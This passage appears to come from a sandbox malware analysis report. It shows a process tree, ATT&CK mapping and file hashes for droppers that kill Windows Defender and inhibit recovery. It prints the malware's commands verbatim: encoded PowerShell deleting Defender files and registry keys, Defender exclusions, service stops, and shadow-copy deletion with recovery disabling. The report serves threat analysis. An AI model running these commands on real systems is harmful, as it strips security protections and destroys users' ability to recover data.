BpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXAAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAQQBkAHYAYQBuAGMAZQBkACAAVABoAHIAZQBhAHQAIABQAHIAbwB0AGUAYwB0AGkAbwBuAFwAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJwBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAZAByAGkAdgBlAHIAcwBcAHcAZABcACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXABXAGQATgBpAHMAUwB2AGMAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFcAaQBuAEQAZQBmAGUAbgBkACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXABTAGUAbgBzAGUAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAADQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAFMAZQByAHYAaQBjAGUAcwBcAFcAZABuAGkAcwBEAHIAdgAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIAANAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAUwBlAHIAdgBpAGMAZQBzAFwAdwBkAGYAaQBsAHQAZQByACcAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAA0ACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABTAGUAcgB2AGkAYwBlAHMAXAB3AGQAYgBvAG8AdAAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsADQAKAA==
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies security service
      Command and Scripting Interpreter: PowerShell
      Modifies Security services
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5764
- - C:\Users\Admin\AppData\Roaming\winDefKiller.exe
    "C:\Users\Admin\AppData\Roaming\winDefKiller.exe"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Executes dropped EXE
    PID:936
- C:\Users\Admin\AppData\Roaming\günceldoruce.exe
  "C:\Users\Admin\AppData\Roaming\günceldoruce.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4088
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Executes a command shell one-liner
    PID:2352
  - - C:\Windows\System32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3116
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2264
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5524
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:6048
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:3724
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:5924
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:1400
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:4468
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:2904
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:5364
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:5352
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "NGHX0VQG"
    3⤵
    - Launches sc.exe
    PID:4136
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "NGHX0VQG" binpath= "C:\ProgramData\vbktoiubahdm\wcdlscfuaodm.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:704
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:4700
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "NGHX0VQG"
    3⤵
    - Launches sc.exe
    PID:4544
- C:\Users\Admin\AppData\Roaming\sifirla_guclu.exe
  "C:\Users\Admin\AppData\Roaming\sifirla_guclu.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:616
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v RecoveryEnvironment /f
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v RecoveryEnvironment /f
      4⤵
      PID:4904
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c sc config WinRE start= disabled
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4692
  - - C:\Windows\system32\sc.exe
      sc config WinRE start= disabled
      4⤵
      Launches sc.exe
      PID:1680
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3244
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5204
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c wmic.exe shadowcopy delete
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic.exe shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3456
- C:\Users\Admin\AppData\Roaming\vmaxspoofercracked.exe
  "C:\Users\Admin\AppData\Roaming\vmaxspoofercracked.exe"
  2⤵
  - Executes dropped EXE
  PID:52

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:5024

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6052

C:\ProgramData\vbktoiubahdm\wcdlscfuaodm.exe
C:\ProgramData\vbktoiubahdm\wcdlscfuaodm.exe
1⤵
PID:1616
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Executes a command shell one-liner
  PID:4676
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:4528
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4708
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4556
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2976
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2672
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:396
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:328
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:1492
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:3240
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:4760

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 8940153c199e5466e3cb70de402540eee83b8e758efdd5ce34fa60e7669d0b6c
MD5 ac2543ed3d8adb520d5ba953189b4e1b
SHA1 eb34c605f311e673c2d37543b6a06ae9e150659a
SHA512 0afd36fe699c6cc1ef403f5ce88750c49fdfe156233746ebec5c8a7cd5ac7a1ea9794e6dcf21ff5369c46822f7c3410e8c78b9cf39a801942b3495359bf4b9ac
SSDEEP 384:HSEboT1iBG+GW14bcflacnu0b+gejrr2PnZIAXz4uqxhWXvtL7KvuvrbhN9PKWRL:V0Z6GNWiQNacuC+B6RIAXzlW8aGbhN9T
TLSH
T178A2C578203F6DC7D8D216B010D20AF7FBE4D489DAB651D4BF1BDE2F4C90ABA4A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_wiybnnmq.5yf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wiybnnmq.5yf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

DefBypass.exe

Path C:\Users\Admin\AppData\Roaming\DefBypass.exe
Size 926KB
SHA256 bce4abda46404f374407d3403954e0521a3ca13de4447e63a902ed5dc5d03c56
MD5 736dc97cfe90ef28fcd10e9dcefb4441
SHA1 3a634817e53fab99915bd7d5e9bd83e37a119447
SHA512 5bd60d930503bd0567108434c4c77a54c535decdfa7e6289420de39de842bc25c3507333bf621f37c9835bd0dadf91c5c04f6c6ecc6865d4c7110d75c1e20d92
SSDEEP 24576:fWFIQKI9LHu3gX2bM8I1phSnhRqkPJNdenVPXwSf6r9qtHfwjvy87qGt:QIQt9LHu42bi1LkKnVPXwvr4/wjvywqO
TLSH
T1EC15AF8967C2DFB5FFACC8EDAD13CAE1486B61D8782C3F196421762DE428B2D4905173
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

günceldoruce.exe

Path C:\Users\Admin\AppData\Roaming\günceldoruce.exe
Size 2.7MB
SHA256 0bfda1e615d230f01f3cb5844187250fa2aba3d8118e927390775a5b7b286645
MD5 c85d70577cb92850082a34ff31da7920
SHA1 c71ee2b4f8b1098efa1e6531bc4b34fc39d29ba0
SHA512 9c6b46a314e32d5a19c136c79e797b6c0e1236498d8908c3eb9f28870042e2c9af6b602fcacc41d0311c7c05ce50d66826c0f10d4fafbce55d9ddc995553a6be
SSDEEP 49152:/OEE3nvR/7VDTT5X3LpUgFDQl7+FBSByGxP21COCHdxgVvkm9zTkxPaSSfka:/LE3nvR/5DZrpHW3ByGxPGudxgT9zIu
TLSH
T161D52381B3AB39BCD56AD9B2770F1C431C0C1E8F56E559EBE5CC834F7E1218841AB869
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kill_defender_silent.exe

Path C:\Users\Admin\AppData\Roaming\kill_defender_silent.exe
Size 12KB
SHA256 be679aec0bfc4142f048f7cfef579d1563a3df284a6074cf5a8b91b32b2104cd
MD5 32a58ac332a496d60cd8387f85ec17dd
SHA1 3debd8532f19c469c16ce87ac3b4960ec026cc6d
SHA512 be65193f9c9766e541a37627256aee4bedadb4db16faec1d4b99c36a8d54c99ef96729fb8f9fcf0943a2373caf7c260631da69a27b67f7c1e31cbd3bad76bada
SSDEEP 192:DkqgVh9QKVLg7XaeMuHsMo3PIFDnp2SQXxenFOV74aa7v7x727U7H7L7NcVEb:DvgVh9QKVLCXaeMuHsMo3PIFDnp2SQXu
TLSH
T1D6420102A7FC5558F2F72BB1BE7A56248977BCAE9E36CD0D1224404D0671E50ACA1FB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sifirla_guclu.exe

Path C:\Users\Admin\AppData\Roaming\sifirla_guclu.exe
Size 5KB
SHA256 2256b6984c44c3ff15d8f424bb1ea6d39f33781b978f7a16567520549f934c57
MD5 2f4a91dadf46b9e72376ed3c87a7e03f
SHA1 fddcbdc3f00386c18ddfbadf9ee7789a65dc9c6f
SHA512 190c25a96cf6f31d2df9a677ef62b765d3ec8d65272b7b1a35acb15344995d141e23f0a6f17a91713f8bcda334e185f507d32b6a2aa43bc9ae8f51f1a0821696
SSDEEP 48:6nu2WI51uW6hJEwlho7jhIB/6VbB8OcY/rArALEcV942rOul/CLJpq8C33Ntm:+pWdY77906VbB8OciAc54eVCLJS33Nt
TLSH
T116B1530163E84617F1B61B352CB387125771F9618D33C39F6A94526E6D21B50D832BB2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vmaxspoofercracked.exe

Path C:\Users\Admin\AppData\Roaming\vmaxspoofercracked.exe
Size 5.3MB
SHA256 25b85ae3c8e64eed2c7f18ee6740d9938f543133d171fb93a762e33bdc8d0ddf
MD5 74c9567c3f29b4295fa2198e17b4d9ea
SHA1 e7eaef1d6e981fe71bab43249bbeb6f0ac0043af
SHA512 6e0b28597d8773e91b630549e39ba2ba12b4c8d18a79a82b6e43d4c3e5fd5a0fbb2de7ce2e70268d444cfa3c04824bb919c465aa08bbf9df47c2b400ce88771b
SSDEEP 98304:GFXvxYGLeo2GBwpa5u/ot9du0nzwWbPiE3G50KvfioaBOfdP:kxYGLeo2GBwsg2du0zwWbPi6S3ioaUf5
TLSH
T12B46F10673A40598D2A39238C552D733E6753C449365C2CB17F0AEA3BF636E26E7A7C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

winDefKiller.exe

Path C:\Users\Admin\AppData\Roaming\winDefKiller.exe
Size 909KB
SHA256 1723294a1bf492305d11deba4d5e17b43646e62d3f78cf3acfe4edd513fba7f4
MD5 38779dc6ffdc6de9aa159a6ae7d492c1
SHA1 a364869439c61093b3c9a7ed1c418039a26c9a24
SHA512 1d967fa6aa52c362a2fd304eca9f0c7620f96ff5e7ff2eb9f447cd392a3b62830f1f5d200bc5c8ccb59a9fc436c85961fdee17feccba4047d79d151ecd901045
SSDEEP 12288:8tpSPFUKAIGKW8M58ZdV4PNLCh4fK524A7y1oGucByemKNYYY:IpwFUbIGl8ZdV4VLXOoGucByK
TLSH
T18B152A1FE6B345ECC52BC0748352A772AE70B42A4134BD6E1DA9D7321F21E509B6FB24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\System32\Recovery\ReAgent.xml
Size 1KB
SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
MD5 0d83672014b0c83cf8f0ceaa44df770b
SHA1 e304f10167e244864a65db535cfcb39a879e8963
SHA512 001306eb9a8a5aee8637c619db6dd6dd6ff31b5573fca8872414a7cf734d617bb3e833f978a7928d292120ac9da91c2de729090bac92a0d62572cf0465ebf6e8
TLSH
T12E11B64A81B858A6C7B1D266F0F8BD60863FF1DD02E08A5CA029F6D39447462CB5F9B0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/936-68-0x00007FF64C420000-0x00007FF64C509000-memory.dmp

Download

memory/984-95-0x0000000006FD0000-0x0000000007073000-memory.dmp

Download

memory/984-87-0x0000000006F90000-0x0000000006FC6000-memory.dmp

Download

memory/984-61-0x00000000050E0000-0x0000000005102000-memory.dmp

Download

memory/984-94-0x0000000006F50000-0x0000000006F70000-memory.dmp

Download

memory/984-88-0x00000000751E0000-0x000000007522C000-memory.dmp

Download

memory/984-64-0x0000000005980000-0x0000000005CDB000-memory.dmp

Download

memory/2536-41-0x0000000000B20000-0x0000000000B28000-memory.dmp

Download

memory/3900-97-0x0000000007800000-0x000000000781A000-memory.dmp

Download

memory/3900-98-0x0000000007880000-0x000000000788A000-memory.dmp

Download

memory/3900-105-0x00000000738F0000-0x00000000740AC000-memory.dmp

Download

memory/3900-75-0x00000000064B0000-0x00000000064CE000-memory.dmp

Download

memory/3900-76-0x0000000006730000-0x000000000677C000-memory.dmp

Download

memory/3900-15-0x0000000073902000-0x0000000073903000-memory.dmp

Download

memory/3900-100-0x0000000007A80000-0x0000000007B16000-memory.dmp

Download

memory/3900-35-0x0000000005720000-0x0000000005D6A000-memory.dmp

Download

memory/3900-34-0x00000000738F0000-0x00000000740AC000-memory.dmp

Download

memory/3900-36-0x00000000738F0000-0x00000000740AC000-memory.dmp

Download

memory/3900-62-0x0000000006050000-0x00000000060B6000-memory.dmp

Download

memory/3900-89-0x00000000751E0000-0x000000007522C000-memory.dmp

Download

memory/3900-63-0x00000000060C0000-0x0000000006126000-memory.dmp

Download

memory/3900-21-0x0000000004FE0000-0x0000000005016000-memory.dmp

Download

memory/3900-96-0x0000000007E40000-0x00000000084BC000-memory.dmp

Download

memory/5352-115-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/5352-114-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/5352-112-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/5352-113-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/5764-86-0x0000021DC02C0000-0x0000021DC02CA000-memory.dmp

Download

memory/5764-84-0x0000021DC04F0000-0x0000021DC05A2000-memory.dmp

Download

memory/5764-83-0x0000021DC02A0000-0x0000021DC02BE000-memory.dmp

Download

memory/5764-72-0x0000021DC00F0000-0x0000021DC0112000-memory.dmp

Download

memory/5920-54-0x00000000007E0000-0x00000000007EA000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads